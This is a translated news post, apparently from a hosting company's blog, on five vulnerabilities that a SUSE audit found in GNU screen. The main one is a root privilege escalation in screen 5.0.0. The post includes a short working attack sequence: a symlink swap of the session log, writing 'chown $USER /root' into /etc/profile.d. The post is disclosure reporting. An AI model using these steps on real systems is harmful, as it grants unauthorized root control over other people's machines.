{"id":124670,"date":"2025-05-13T03:05:07","date_gmt":"2025-05-13T01:05:07","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/uyazvimost-v-gnu-screen-pozvolyayushhaya-vypolnit-kod-s-pravami-root"},"modified":"2025-05-13T03:05:07","modified_gmt":"2025-05-13T01:05:07","slug":"uyazvimost-v-gnu-screen-pozvolyayushhaya-vypolnit-kod-s-pravami-root","status":"publish","type":"post","link":"https:\/\/prohoster.info\/en\/blog\/news\/uyazvimost-v-gnu-screen-pozvolyayushhaya-vypolnit-kod-s-pravami-root","title":{"rendered":"A vulnerability in GNU screen allows executing code with root privileges","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"
The GNU screen terminal multiplexer, providing a multi-window interface in the console, has been found to have 5 vulnerabilities. The most critical issue (CVE-2025-23395) allows obtaining root privileges on the system. The fix is included in today's release of screen 5.0.1. <\/p>\n
The CVE-2025-23395 vulnerability is present only in the screen 5.0.0 branch, which is shipped with Fedora Linux, Arch Linux, NetBSD, OpenBSD, and Alpine. In Debian, Ubuntu, RHEL (EPEL 9), Gentoo, FreeBSD, SUSE\/openSUSE, and OpenWrt, the 4.x branch of screen continues to be supplied. Exploiting the vulnerability is possible in systems that install the screen executable with the setuid root flag, such as in Arch Linux and NetBSD. In Fedora, the utility is installed with the setgid flag to obtain screen group rights, allowing the placement of sockets in the system directory \/run\/screen, which limits denial of service attack options. <\/p>\n
The vulnerability arises because when launched with root privileges, the logfile_reopen() function executes before privilege dropping but processes data in the context of the directories of the current unprivileged user who started screen. Notably, the initial log opening is done with proper privilege dropping, but on reopening the log file, privilege dropping is not performed. <\/p>\n
By manipulating the session logging mode, a user can achieve recording data to a file with root permissions, while the file can be saved in the user's home directory. The attack involves deleting the created log file and replacing it with a symbolic link pointing to any file in the system. If the file already exists, data with the screen session's content will be added to it without changing the owner. If the file does not exist \u2014 it will be created with permissions 0644, owned by root, and grouped as the current user. <\/p>\n
The attack algorithm that creates a file \/etc\/profile.d\/exploit.sh with the command \"chown $USER \/root\": <\/p>\n
\n
Creating a screen session with logging enabled $ screen -Logfile $HOME\/screen.log\n
Pressing the Ctrl-a-H key combination to enable logging.\n
Deleting the log file and replacing it with a symbolic link that will lead to creating the file \/etc\/profile.d\/exploit.sh $ rm $HOME\/screen.log; ln -s \/etc\/profile.d\/exploit.sh $HOME\/screen.log\n
Returning to the screen session and displaying on the screen the data to be recorded in the log file. $ echo -e \"\nchown $USER \/root;\"\n
After the real root connects to the system, the script \/etc\/profile.d\/exploit.sh will run, which will change the owner of the \/root directory. $ ls -lhd \/root drwxr-x\u2014 5 user root 4.0K Dec 30 2020 .\n
Similarly, configuration files for sudo can be created or commands can be added to the end of system scripts. <\/ul>\n
Less severe vulnerabilities in screen: <\/p>\n
\n
CVE-2025-46802 \u2014 interception of the TTY device in multi-user sessions (a user can achieve setting the rights for the device \/dev\/pts\/1 to crw-rw-rw-). The problem manifests in screen versions 4.x and 5.x.\n
CVE-2025-46803 \u2014 default permission setting of 0622 on the PTY device, allowing any users to write. The problem occurs only in screen version 5.0.\n
CVE-2025-46804 \u2014 information leakage about the presence of files and directories in closed directories (when specifying a directory for sockets using the SCREENDIR environment variable, the utility outputs different error messages, hinting at the presence of files and directories with that name). The problem manifests in screen versions 4.x and 5.x.\n
CVE-2025-46805 \u2014 a race condition when sending SIGCONT and SIGHUP signals, leading to denial of service. The problem manifests in screen versions 4.x and 5.x.\n
Incorrect use of the strncpy function (replacing strcpy with strncpy without considering the difference in handling null characters \"\\0\"), leading to a crash when executing specially crafted commands. The problem occurs only in screen version 5.0. <\/ul>\n
Vulnerabilities were identified during an audit of the GNU screen codebase conducted by the team responsible for the security of the SUSE Linux distribution. Information about the vulnerabilities was sent to screen developers on February 7, but within the 90-day deadline, they were unable to prepare fixes for all vulnerabilities, and SUSE personnel had to prepare some patches themselves. According to the researchers conducting the audit, the current maintainers of GNU screen do not have a sufficient understanding of the project's codebase and are unable to fully address the identified security issues. \n Source: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"